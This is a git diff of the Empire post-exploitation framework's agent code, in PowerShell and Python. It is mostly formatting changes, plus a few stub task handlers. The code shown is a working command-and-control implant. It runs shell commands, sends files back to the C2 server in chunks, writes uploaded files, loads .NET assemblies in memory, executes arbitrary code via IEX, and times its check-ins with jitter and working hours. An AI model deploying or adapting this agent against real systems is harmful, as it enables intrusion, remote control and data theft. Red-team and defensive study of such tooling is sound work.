# process a single tasking packet extracted from a tasking and execute the functionality
function Process-Tasking {
param($type, $msg, $ResultID)
@@ -793,93 +791,99 @@ function Invoke-Empire {
try {
# sysinfo request
if($type -eq 1) {
- return Encode-Packet -type $type -data $(Get-Sysinfo) -ResultID $ResultID
+ return Encode-Packet -type $type -data $(Get-Sysinfo) -ResultID $ResultID;
}
# agent exit
elseif($type -eq 2) {
- $msg = "[!] Agent "+$script:SessionID+" exiting"
+ $msg = "[!] Agent "+$script:SessionID+" exiting";
# this is the only time we send a message out of the normal process,
# because we're exited immediately after
- (& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID))
- exit
+ (& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID));
+ exit;
+ }
+
+ # set proxy chain
+ elseif($type -eq 34) {
+ Encode-Packet -type 0 -data '[!] Proxy chain not implemented' -ResultID $ResultID;
}
+
# shell command
elseif($type -eq 40) {
- $parts = $data.Split(" ")
+ $parts = $data.Split(" ");
# if the command has no arguments
if($parts.Length -eq 1) {
- $cmd = $parts[0]
- Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd) -join "`n").trim() -ResultID $ResultID
+ $cmd = $parts[0];
+ Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd) -join "`n").trim() -ResultID $ResultID;
}
# if the command has arguments
else{
- $cmd = $parts[0]
- $cmdargs = $parts[1..$parts.length] -join " "
- Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd -cmdargs $cmdargs) -join "`n").trim() -ResultID $ResultID
+ $cmd = $parts[0];
+ $cmdargs = $parts[1..$parts.length] -join " ";
+ Encode-Packet -type $type -data $((Invoke-ShellCommand -cmd $cmd -cmdargs $cmdargs) -join "`n").trim() -ResultID $ResultID;
}
}
# file download
elseif($type -eq 41) {
-
+
try {
- $ChunkSize = 512KB
+ $ChunkSize = 512KB;
- $Parts = $Data.Split(" ")
+ $Parts = $Data.Split(" ");
if($Parts.Length -gt 1) {
- $Path = $Parts[0..($parts.length-2)] -join " "
+ $Path = $Parts[0..($parts.length-2)] -join " ";
try {
- $ChunkSize = $Parts[-1]/1
+ $ChunkSize = $Parts[-1]/1;
if($Parts[-1] -notlike "*b*") {
# if MB/KB not specified, assume KB and adjust accordingly
- $ChunkSize = $ChunkSize * 1024
+ $ChunkSize = $ChunkSize * 1024;
}
}
catch {
# if there's an error converting the last token, assume no
# chunk size is specified and add the last token onto the path
- $Path += " $($Parts[-1])"
+ $Path += " $($Parts[-1])";
}
}
else {
- $Path = $Data
+ $Path = $Data;
}
- $Path = $Path.Trim('"').Trim("'")
+ $Path = $Path.Trim('"').Trim("'");
# hardcoded floor/ceiling limits
if($ChunkSize -lt 512KB) {
- $ChunkSize = 512KB
+ $ChunkSize = 512KB;
}
elseif($ChunkSize -gt 8MB) {
- $ChunkSize = 8MB
+ $ChunkSize = 8MB;
}
else {
- $ChunkSize = 1024KB
+ $ChunkSize = 1024KB;
}
# resolve the complete paths
- $Path = Get-Childitem -Recurse $Path -File | ForEach-Object {$_.FullName}
+ $Path = Get-Childitem -Recurse $Path -File | ForEach-Object {$_.FullName};
foreach ( $File in $Path) {
# read in and send the specified chunk size back for as long as the file has more parts
- $Index = 0
+ $Index = 0;
do{
- $EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize
- $filesize = (Get-Item $file).length
+ $EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize;
+ $filesize = (Get-Item $file).length;
if($EncodedPart) {
- $data = "{0}|{1}|{2}|{3}" -f $Index, $file, $filesize, $EncodedPart
- (& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
- $Index += 1
+ $data = "{0}|{1}|{2}|{3}" -f $Index, $file, $filesize, $EncodedPart;
+ (& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID));
+ $Index += 1;
# if there are more parts of the file, sleep for the specified interval
if ($script:AgentDelay -ne 0) {
- $min = [int]((1-$script:AgentJitter)*$script:AgentDelay)
- $max = [int]((1+$script:AgentJitter)*$script:AgentDelay)
+ $min = [int]((1-$script:AgentJitter)*$script:AgentDelay);
+ $max = [int]((1+$script:AgentJitter)*$script:AgentDelay);
if ($min -eq $max) {
- $sleepTime = $min
+ $sleepTime = $min;
}
else{
$sleepTime = Get-Random -minimum $min -maximum $max;
@@ -887,85 +891,89 @@ function Invoke-Empire {
Start-Sleep -s $sleepTime;
}
}
- [GC]::Collect()
+ [GC]::Collect();
} while($EncodedPart)
- Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID
+ Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID;
}
}
catch {
- Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
+ Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID;
}
}
# file upload
elseif($type -eq 42) {
- $parts = $data.split('|')
- $filename = $parts[0]
- $base64part = $parts[1]
+ $parts = $data.split('|');
+ $filename = $parts[0];
+ $base64part = $parts[1];
# get the raw file contents and save it to the specified location
- $Content = [System.Convert]::FromBase64String($base64part)
+ $Content = [System.Convert]::FromBase64String($base64part);
try{
Set-Content -Path $filename -Value $Content -Encoding Byte
- Encode-Packet -type $type -data "[*] Upload of $fileName successful" -ResultID $ResultID
+ Encode-Packet -type $type -data "[*] Upload of $fileName successful" -ResultID $ResultID;
}
catch {
- Encode-Packet -type 0 -data '[!] Error in writing file during upload' -ResultID $ResultID
+ Encode-Packet -type 0 -data '[!] Error in writing file during upload' -ResultID $ResultID;
}
}
# directory list
elseif($type -eq 43) {
- $output = ""
- $path = "/"
- if ($data.length -gt 1) { # Use user supplied directory
- $path = $data
+ $output = "";
+ $path = "/";
+ # Use user supplied directory
+ if ($data.length -gt 1) {
+ $path = $data;
}
- if ($path -eq "/") { # if the path is root, list drives as directories
- $array = @()
+ # if the path is root, list drives as directories
+ if ($path -eq "/") {
+ $array = @();
$drives = Get-PSDrive -PSProvider FileSystem |where {($_.Used -gt 0)} | ForEach-Object {
- $array += (@{path = $_.Root; name = $_.Root; is_file = $false})
+ $array += (@{path = $_.Root; name = $_.Root; is_file = $false});
}
- $output = @{directory_name = "/"; directory_path = "/"; items = $array} | ConvertTo-Json -Compress
- } elseif (-Not (Test-Path $path -PathType Container)) { # if path doesn't exist
- $output = "Directory " + $path + " not found."
+ $output = @{directory_name = "/"; directory_path = "/"; items = $array} | ConvertTo-Json -Compress;
+ # if path doesn't exist
+ } elseif (-Not (Test-Path $path -PathType Container)) {
+ $output = "Directory " + $path + " not found.";
} else {
# Normal conditions
- $array = @()
- Get-ChildItem -force -Path $path -Attributes !directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $true }) }
- Get-ChildItem -force -Path $path -Attributes directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $false }) }
- $directory = Get-Item -force -Path $path # this way we always get the backslashes even if user supplied forward slashes
- $output = @{ directory_name = $directory.Name; directory_path = $directory.FullName; items = $array } | ConvertTo-Json -Compress
+ $array = @();
+ Get-ChildItem -force -Path $path -Attributes !directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $true }) };
+ Get-ChildItem -force -Path $path -Attributes directory | foreach-object { $array += (@{ path = $_.FullName; name = $_.Name; is_file = $false }) };
+ # this way we always get the backslashes even if user supplied forward slashes
+ $directory = Get-Item -force -Path $path;
+ $output = @{ directory_name = $directory.Name; directory_path = $directory.FullName; items = $array } | ConvertTo-Json -Compress;
if ($directory -eq $null)
{
- $output = "User does not have access to directory " + $path
+ $output = "User does not have access to directory " + $path;
}
}
- Encode-Packet -data $output -type $type -ResultID $ResultID
+ Encode-Packet -data $output -type $type -ResultID $ResultID;
}
elseif($type -eq 44){
try{
- $parts = $data.split(",")
- $params = $parts[1..$parts.length]
- $bytes = [System.Convert]::FromBase64String($parts[0])
- $ms = New-Object System.IO.MemoryStream
- $output = New-Object System.IO.MemoryStream
- $ms.Write($bytes, 0, $bytes.Length)
- $ms.Seek(0,0) | Out-Null
- $sr = New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
- $buffer = [System.Byte[]]::CreateInstance([System.Byte],4096)
- $bytesRead = $sr.Read($buffer, 0, $buffer.length)
+ $parts = $data.split(",");
+ $params = $parts[1..$parts.length];
+ $bytes = [System.Convert]::FromBase64String($parts[0]);
+ $ms = New-Object System.IO.MemoryStream;
+ $output = New-Object System.IO.MemoryStream;
+ $ms.Write($bytes, 0, $bytes.Length);
+ $ms.Seek(0,0) | Out-Null;
+ $sr = New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress);
+ $buffer = [System.Byte[]]::CreateInstance([System.Byte],4096);
+ $bytesRead = $sr.Read($buffer, 0, $buffer.length);
while($bytesRead -ne 0){
- $output.Write($buffer,0,$bytesRead)
- $bytesRead = $sr.Read($buffer, 0, $buffer.length)
+ $output.Write($buffer,0,$bytesRead);
+ $bytesRead = $sr.Read($buffer, 0, $buffer.length);
}
- $assemBytes = $output.ToArray()
- $assem = [Reflection.Assembly]::load($assemBytes)
+ $assemBytes = $output.ToArray();
+ $assem = [Reflection.Assembly]::load($assemBytes);
#execute the assembly
$strmprop = $assem.GetType("Task").GetProperty("OutputStream");
if(!$strmprop){
# Write-Host("no output pipe")
- $Results = $assem.GetType("Task").GetMethod("Execute").Invoke($null, $params)
+ $Results = $assem.GetType("Task").GetMethod("Execute").Invoke($null, $params);
}
else{
# Write-Host("output pipe")
@@ -975,8 +983,8 @@ function Invoke-Empire {
$streamReader = [System.IO.StreamReader]::new($pipeServerStream);
$dict = @{"assembly" = $assem; "params" = $params; "pipe" = $pipeClientStream};
# background the task. Essentially creating a "thread" for the task to run in
- $ps = [PowerShell]::Create()
- $task = $ps.AddScript(@'
+ $ps = [PowerShell]::Create();
+ $task = $ps.AddScript('
[CmdletBinding()]
param(
[System.Reflection.Assembly]
@@ -997,71 +1005,84 @@ function Invoke-Empire {
finally {
$pipe.Dispose();
}
-'@).AddParameters($dict).BeginInvoke();
- $pipeOutput = [Text.StringBuilder]::new()
- $buffer = [char[]]::new($pipeServerStream.InBufferSize)
+').AddParameters($dict).BeginInvoke();
+ $pipeOutput = [Text.StringBuilder]::new();
+ $buffer = [char[]]::new($pipeServerStream.InBufferSize);
while ($read = $streamReader.Read($buffer, 0, $buffer.Length)) {
- [void]$pipeOutput.Append($buffer, 0, $read)
+ [void]$pipeOutput.Append($buffer, 0, $read);
}
$ps.EndInvoke($task);
$Results = $pipeOutput.ToString();
}
- Encode-Packet -data $results -type 40 -ResultID $ResultID
+ Encode-Packet -data $results -type 40 -ResultID $ResultID;
}
catch {
- Encode-Packet -type 0 -data '[!] Error while executing assembly' -ResultID $ResultID
+ Encode-Packet -type 0 -data '[!] Error while executing assembly' -ResultID $ResultID;
}
}
# return the currently running jobs
elseif($type -eq 50) {
- $Downloads = $Script:Jobs.Keys -join "`n"
- Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID
+ $Downloads = $Script:Jobs.Keys -join "`n";
+ Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID;
}
# stop and remove a specific job if it's running
elseif($type -eq 51) {
- $JobName = $data
- $JobResultID = $ResultIDs[$JobName]
+ $JobName = $data;
+ $JobResultID = $ResultIDs[$JobName];
try {
- $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
+ $Results = Stop-AgentJob -JobName $JobName | fl | Out-String;
# send result data if there is any
if($Results -and $($Results.trim() -ne '')) {
- Encode-Packet -type $type -data $($Results) -ResultID $JobResultID
+ Encode-Packet -type $type -data $($Results) -ResultID $JobResultID;
}
- Encode-Packet -type 51 -data "Job $JobName killed." -ResultID $JobResultID
+ Encode-Packet -type 51 -data "Job $JobName killed." -ResultID $JobResultID;
}
catch {
- Encode-Packet -type 0 -data "[!] Error in stopping job: $JobName" -ResultID $JobResultID
+ Encode-Packet -type 0 -data "[!] Error in stopping job: $JobName" -ResultID $JobResultID;
}
}
+ # socks proxy server
+ elseif($type -eq 60) {
+ Encode-Packet -type 0 -data '[!] SOCKS server not implemented' -ResultID $ResultID;
+ }
+
+ # socks proxy server data
+ elseif($type -eq 61) {
+ Encode-Packet -type 0 -data '[!] SOCKS server data not implemented' -ResultID $ResultID;
+ }
+
# dynamic code execution, wait for output, don't save output
- elseif($type -eq 100) {
- $ResultData = IEX $data
+ elseif($type -eq 100 -or $type -eq 118) {
+ $ResultData = IEX $data;
if($ResultData) {
- Encode-Packet -type $type -data $ResultData -ResultID $ResultID
+ Encode-Packet -type $type -data $ResultData -ResultID $ResultID;
}
}
# dynamic code execution, wait for output, save output
- elseif($type -eq 101) {
+ elseif($type -eq 101 -or $type -eq 119) {
# format- [15 chars of prefix][5 chars extension][data]
- $prefix = $data.Substring(0,15)
- $extension = $data.Substring(15,5)
- $data = $data.Substring(20)
+ $prefix = $data.Substring(0,15);
+ $extension = $data.Substring(15,5);
+ $data = $data.Substring(20);
# send back the results
- Encode-Packet -type $type -data ($prefix + $extension + (IEX $data)) -ResultID $ResultID
+ Encode-Packet -type $type -data ($prefix + $extension + (IEX $data)) -ResultID $ResultID;
}
+
# dynamic code execution, no wait, don't save output
- elseif($type -eq 110) {
- $jobID = Start-AgentJob $data
- $script:ResultIDs[$jobID]=$resultID
- Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID
+ elseif($type -eq 110 -or $type -eq 112) {
+ $jobID = Start-AgentJob $data;
+ $script:ResultIDs[$jobID]=$resultID;
+ Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID;
}
# dynamic code execution, no wait, save output
- elseif($type -eq 111) {
+ elseif($type -eq 111 -or $type -eq 113) {
+ Encode-Packet -type 0 -data '[!] Dynamic code execution, no wait, save output not implemented' -ResultID $ResultID;
+
# Write-Host "'dynamic code execution, no wait, save output' not implemented!"
# format- [15 chars of prefix][5 chars extension][data]
@@ -1077,47 +1098,46 @@ function Invoke-Empire {
elseif($type -eq 120) {
# encrypt the script for storage
$script:ImportedScript = Encrypt-Bytes $Encoding.GetBytes($data);
- Encode-Packet -type $type -data "script successfully saved in memory" -ResultID $ResultID
+ Encode-Packet -type $type -data "script successfully saved in memory" -ResultID $ResultID;
}
# execute a function in the currently imported script
elseif($type -eq 121) {
# decrypt the script in memory and execute the code as a background job
- $script = Decrypt-Bytes $script:ImportedScript
+ $script = Decrypt-Bytes $script:ImportedScript;
if ($script) {
- $jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString($script) + "; $data")
- $script:ResultIDs[$jobID]=$ResultID
- Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID
+ $jobID = Start-AgentJob ([System.Text.Encoding]::UTF8.GetString($script) + "; $data");
+ $script:ResultIDs[$jobID]=$ResultID;
+ Encode-Packet -type $type -data ("Job started: " + $jobID) -ResultID $ResultID;
}
}
elseif($type -eq 130) {
#Dynamically update agent comms
-
try {
IEX $data
- Encode-Packet -type $type -data "[+] Switched the current listener to: $CurrentListenerName" -ResultID $ResultID
+ Encode-Packet -type $type -data "[+] Switched the current listener to: $CurrentListenerName" -ResultID $ResultID;
}
catch {
-
- Encode-Packet -type 0 -data ("[!] Unable to update agent comm methods: $_") -ResultID $ResultID
+
+ Encode-Packet -type 0 -data ("[!] Unable to update agent comm methods: $_") -ResultID $ResultID;
}
}
elseif($type -eq 131) {
# Update the listener name variable
- $script:CurrentListenerName = $data
+ $script:CurrentListenerName = $data;
- Encode-Packet -type $type -data "[+] Updated the CurrentListenerName to: $CurrentListenerName" -ResultID $ResultID
+ Encode-Packet -type $type -data "[+] Updated the CurrentListenerName to: $CurrentListenerName" -ResultID $ResultID;
}
else{
- Encode-Packet -type 0 -data "[!] invalid type: $type" -ResultID $ResultID
+ Encode-Packet -type 0 -data "[!] invalid type: $type" -ResultID $ResultID;
}
}
catch [System.Exception] {
- Encode-Packet -type $type -data "[!] error running command: $_" -ResultID $ResultID
+ Encode-Packet -type $type -data "[!] error running command: $_" -ResultID $ResultID;
}
}
@@ -1126,47 +1146,47 @@ function Invoke-Empire {
param($Tasking)
# Decrypt the tasking and process it appropriately
- $TaskingBytes = Decrypt-Bytes $Tasking
+ $TaskingBytes = Decrypt-Bytes $Tasking;
if (-not $TaskingBytes) {
- return
+ return;
}
# decode the first packet
- $Decoded = Decode-Packet $TaskingBytes
- $Type = $Decoded[0]
- $TotalPackets = $Decoded[1]
- $PacketNum = $Decoded[2]
- $TaskID = $Decoded[3]
- $Length = $Decoded[4]
- $Data = $Decoded[5]
+ $Decoded = Decode-Packet $TaskingBytes;
+ $Type = $Decoded[0];
+ $TotalPackets = $Decoded[1];
+ $PacketNum = $Decoded[2];
+ $TaskID = $Decoded[3];
+ $Length = $Decoded[4];
+ $Data = $Decoded[5];
# TODO: logic to handle taskings that span multiple packets
# any remaining sections of the packet
- $Remaining = $Decoded[6]
+ $Remaining = $Decoded[6];
# process the first part of the packet
- $ResultPackets = $(Process-Tasking $Type $Data $TaskID)
+ $ResultPackets = $(Process-Tasking $Type $Data $TaskID);
- $Offset = 12 + $Length
+ $Offset = 12 + $Length;
# process any additional packets in the tasking
while($Remaining.Length -ne 0) {
- $Decoded = Decode-Packet $TaskingBytes $Offset
- $Type = $Decoded[0]
- $TotalPackets = $Decoded[1]
- $PacketNum = $Decoded[2]
- $TaskID = $Decoded[3]
- $Length = $Decoded[4]
- $Data = $Decoded[5]
- if ($Decoded.Count -eq 7) {$Remaining = $Decoded[6]}
+ $Decoded = Decode-Packet $TaskingBytes $Offset;
+ $Type = $Decoded[0];
+ $TotalPackets = $Decoded[1];
+ $PacketNum = $Decoded[2];
+ $TaskID = $Decoded[3];
+ $Length = $Decoded[4];
+ $Data = $Decoded[5];
+ if ($Decoded.Count -eq 7) {$Remaining = $Decoded[6]};
# process the new sub-packet and add it to the result set
- $ResultPackets += $(Process-Tasking $Type $Data $TaskID)
+ $ResultPackets += $(Process-Tasking $Type $Data $TaskID);
- $Offset += $(12 + $Length)
+ $Offset += $(12 + $Length);
}
# send all the result packets back to the C2 server
- (& $SendMessage -Packets $ResultPackets)
+ (& $SendMessage -Packets $ResultPackets);
}
@@ -1181,113 +1201,113 @@ function Invoke-Empire {
# check the kill date and lost limit, exiting and returning job output if either are past
if ( (($script:KillDate) -and ((Get-Date) -gt $script:KillDate)) -or ((!($script:LostLimit -eq 0)) -and ($script:MissedCheckins -gt $script:LostLimit)) ) {
- $Packets = $null
+ $Packets = $null;(& $GetTask);
# get any job results and kill the jobs
ForEach($JobName in $Script:Jobs.Keys) {
- $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
- $JobResultID = $script:ResultIDs[$JobName]
- $Packets += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID)
- $script:ResultIDs.Remove($JobName)
+ $Results = Stop-AgentJob -JobName $JobName | fl | Out-String;
+ $JobResultID = $script:ResultIDs[$JobName];
+ $Packets += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID);
+ $script:ResultIDs.Remove($JobName);
}
# send job results back if there are any
if ($Packets) {
- (& $SendMessage -Packets $Packets)
+ (& $SendMessage -Packets $Packets);
}
# send an exit status message and exit
if (($script:KillDate) -and ((Get-Date) -gt $script:KillDate)) {
- $msg = "[!] Agent "+$script:SessionID+" exiting: past killdate"
+ $msg = "[!] Agent "+$script:SessionID+" exiting: past killdate";
}
else {
- $msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
+ $msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached";
}
- (& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg))
- exit
+ (& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg));
+ exit;
}
# if there are working hours set, make sure we're operating within the given time span
# format is "8:00-17:00"
if ($script:WorkingHours -match '^[0-9]{1,2}:[0-5][0-9]-[0-9]{1,2}:[0-5][0-9]$') {
- $current = Get-Date
- $start = Get-Date ($script:WorkingHours.split("-")[0])
- $end = Get-Date ($script:WorkingHours.split("-")[1])
+ $current = Get-Date;
+ $start = Get-Date ($script:WorkingHours.split("-")[0]);
+ $end = Get-Date ($script:WorkingHours.split("-")[1]);
# correct for hours that span overnight
if (($end-$start).hours -lt 0) {
- $start = $start.AddDays(-1)
+ $start = $start.AddDays(-1);
}
# if the current time is past the start time
- $startCheck = $current -ge $start
+ $startCheck = $current -ge $start;
# if the current time is less than the end time
- $endCheck = $current -le $end
+ $endCheck = $current -le $end;
# if the current time falls outside the window
if ((-not $startCheck) -or (-not $endCheck)) {
# sleep until the operational window starts again
- $sleepSeconds = ($start - $current).TotalSeconds
+ $sleepSeconds = ($start - $current).TotalSeconds;
if($sleepSeconds -lt 0) {
# correct for hours that span overnight
- $sleepSeconds = ($start.addDays(1) - $current).TotalSeconds
+ $sleepSeconds = ($start.addDays(1) - $current).TotalSeconds;
}
# sleep until the wake up interval
- Start-Sleep -Seconds $sleepSeconds
+ Start-Sleep -Seconds $sleepSeconds;
}
}
# if there's a delay (i.e. no interactive/delay 0) then sleep for the specified time
if ($script:AgentDelay -ne 0) {
- $SleepMin = [int]((1-$script:AgentJitter)*$script:AgentDelay)
- $SleepMax = [int]((1+$script:AgentJitter)*$script:AgentDelay)
+ $SleepMin = [int]((1-$script:AgentJitter)*$script:AgentDelay);
+ $SleepMax = [int]((1+$script:AgentJitter)*$script:AgentDelay);
if ($SleepMin -eq $SleepMax) {
- $SleepTime = $SleepMin
+ $SleepTime = $SleepMin;
}
else{
- $SleepTime = Get-Random -Minimum $SleepMin -Maximum $SleepMax
+ $SleepTime = Get-Random -Minimum $SleepMin -Maximum $SleepMax;
}
Start-Sleep -Seconds $sleepTime;
}
# poll running jobs, receive any data, and remove any completed jobs
- $JobResults = $Null
+ $JobResults = $Null;
ForEach($JobName in $Script:Jobs.Keys) {
- $JobResultID = $script:ResultIDs[$JobName]
+ $JobResultID = $script:ResultIDs[$JobName];
# check if the job is still running
if(Get-AgentJobCompleted -JobName $JobName) {
# the job has stopped, so receive results/cleanup
- $Results = Stop-AgentJob -JobName $JobName | fl | Out-String
+ $Results = Stop-AgentJob -JobName $JobName | fl | Out-String;
}
else {
- $Results = Receive-AgentJob -JobName $JobName | fl | Out-String
+ $Results = Receive-AgentJob -JobName $JobName | fl | Out-String;
}
if($Results) {
- $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID)
+ $JobResults += $(Encode-Packet -type 110 -data $($Results) -ResultID $JobResultID);
}
}
if ($JobResults) {
- ((& $SendMessage -Packets $JobResults))
+ ((& $SendMessage -Packets $JobResults));
}
# get the next task from the server
- $TaskData = (& $GetTask)
+ $TaskData = (& $GetTask);
if ($TaskData) {
- $script:MissedCheckins = 0
+ $script:MissedCheckins = 0;
# did we get not get the default response
if ([System.Text.Encoding]::UTF8.GetString($TaskData) -ne $script:DefaultResponse) {
- Decode-RoutingPacket -PacketData $TaskData
+ Decode-RoutingPacket -PacketData $TaskData;
}
}
# force garbage collection to clean up :)
- [GC]::Collect()
+ [GC]::Collect();
}
}
diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py
index 32cd62aaa..c25386f27 100644
--- a/empire/server/data/agent/agent.py
+++ b/empire/server/data/agent/agent.py
@@ -37,46 +37,46 @@
# tasking uris | user agent | additional header 1 | additional header 2 | ...
profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
-if server.endswith("/"): server = server[0:-1]
+if server.endswith("/"):
+ server = server[0:-1]
delay = 60
jitter = 0.0
lostLimit = 60
missedCheckins = 0
-jobMessageBuffer = ''
+jobMessageBuffer = ""
currentListenerName = ""
sendMsgFuncCode = ""
proxy_list = []
# killDate form -> "MO/DAY/YEAR"
-killDate = 'REPLACE_KILLDATE'
+killDate = "REPLACE_KILLDATE"
# workingHours form -> "9:00-17:00"
-workingHours = 'REPLACE_WORKINGHOURS'
+workingHours = "REPLACE_WORKINGHOURS"
-parts = profile.split('|')
-taskURIs = parts[0].split(',')
+parts = profile.split("|")
+taskURIs = parts[0].split(",")
userAgent = parts[1]
headersRaw = parts[2:]
defaultResponse = base64.b64decode("")
-jobs = []
+jobs = {}
moduleRepo = {}
_meta_cache = {}
# global header dictionary
# sessionID is set by stager.py
# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)}
-headers = {'User-Agent': userAgent}
+headers = {"User-Agent": userAgent}
# parse the headers into the global header dictionary
for headerRaw in headersRaw:
try:
- headerKey = headerRaw.split(":")[0]
- headerValue = headerRaw.split(":")[1]
+ headerKey, headerValue = headerRaw.split(":")[:2]
if headerKey.lower() == "cookie":
- headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
+ headers["Cookie"] = "%s;%s" % (headers["Cookie"], headerValue)
else:
headers[headerKey] = headerValue
except:
@@ -123,23 +123,25 @@ def build_response_packet(taskingID, packetData, resultID=0):
| 2 | 2 | 2 | 2 | 4 | |
+------+--------------------+----------+---------+--------+-----------+
"""
- packetType = struct.pack('=H', taskingID)
- totalPacket = struct.pack('=H', 1)
- packetNum = struct.pack('=H', 1)
- resultID = struct.pack('=H', resultID)
+ packetType = struct.pack("=H", taskingID)
+ totalPacket = struct.pack("=H", 1)
+ packetNum = struct.pack("=H", 1)
+ resultID = struct.pack("=H", resultID)
if packetData:
- if (isinstance(packetData, str)):
- packetData = base64.b64encode(packetData.encode('utf-8', 'ignore'))
+ if isinstance(packetData, str):
+ packetData = base64.b64encode(packetData.encode("utf-8", "ignore"))
else:
- packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8', 'ignore'))
+ packetData = base64.b64encode(
+ packetData.decode("utf-8").encode("utf-8", "ignore")
+ )
if len(packetData) % 4:
- packetData += '=' * (4 - len(packetData) % 4)
+ packetData += "=" * (4 - len(packetData) % 4)
- length = struct.pack('=L', len(packetData))
+ length = struct.pack("=L", len(packetData))
return packetType + totalPacket + packetNum + resultID + length + packetData
else:
- length = struct.pack('=L', 0)
+ length = struct.pack("=L", 0)
return packetType + totalPacket + packetNum + resultID + length
@@ -165,15 +167,23 @@ def parse_task_packet(packet, offset=0):
Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData)
"""
try:
- packetType = struct.unpack('=H', packet[0 + offset:2 + offset])[0]
- totalPacket = struct.unpack('=H', packet[2 + offset:4 + offset])[0]
- packetNum = struct.unpack('=H', packet[4 + offset:6 + offset])[0]
- resultID = struct.unpack('=H', packet[6 + offset:8 + offset])[0]
- length = struct.unpack('=L', packet[8 + offset:12 + offset])[0]
- packetData = packet.decode('UTF-8')[12 + offset:12 + offset + length]
- remainingData = packet.decode('UTF-8')[12 + offset + length:]
-
- return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData)
+ packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0]
+ totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0]
+ packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0]
+ resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0]
+ length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0]
+ packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length]
+ remainingData = packet.decode("UTF-8")[12 + offset + length :]
+
+ return (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ packetData,
+ remainingData,
+ )
except Exception as e:
print("parse_task_packet exception:", e)
return (None, None, None, None, None, None, None)
@@ -185,9 +195,17 @@ def process_tasking(data):
# -extracts the packets and processes each
try:
# aes_decrypt_and_verify is in stager.py
- tasking = aes_decrypt_and_verify(key, data).encode('UTF-8')
-
- (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking)
+ tasking = aes_decrypt_and_verify(key, data).encode("UTF-8")
+
+ (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ data,
+ remainingData,
+ ) = parse_task_packet(tasking)
# if we get to this point, we have a legit tasking so reset missedCheckins
missedCheckins = 0
@@ -200,9 +218,16 @@ def process_tasking(data):
resultPackets += result
packetOffset = 12 + length
- while remainingData and remainingData != '':
- (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking,
- offset=packetOffset)
+ while remainingData and remainingData != "":
+ (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ data,
+ remainingData,
+ ) = parse_task_packet(tasking, offset=packetOffset)
result = process_packet(packetType, data, resultID)
if result:
resultPackets += result
@@ -260,7 +285,7 @@ def process_packet(packetType, data, resultID):
send_message(build_response_packet(40, resultData, resultID))
else:
cmd = parts[0]
- cmdargs = ' '.join(parts[1:len(parts)])
+ cmdargs = " ".join(parts[1 : len(parts)])
resultData = str(run_command(cmd, cmdargs=cmdargs))
send_message(build_response_packet(40, resultData, resultID))
@@ -269,7 +294,11 @@ def process_packet(packetType, data, resultID):
objPath = os.path.abspath(data)
fileList = []
if not os.path.exists(objPath):
- send_message(build_response_packet(40, "file does not exist or cannot be accessed", resultID))
+ send_message(
+ build_response_packet(
+ 40, "file does not exist or cannot be accessed", resultID
+ )
+ )
if not os.path.isdir(objPath):
fileList.append(objPath)
@@ -294,23 +323,17 @@ def process_packet(packetType, data, resultID):
start_crc32 = c.crc32_data(encodedPart)
comp_data = c.comp_data(encodedPart)
encodedPart = c.build_header(comp_data, start_crc32)
- encodedPart = base64.b64encode(encodedPart).decode('UTF-8')
+ encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
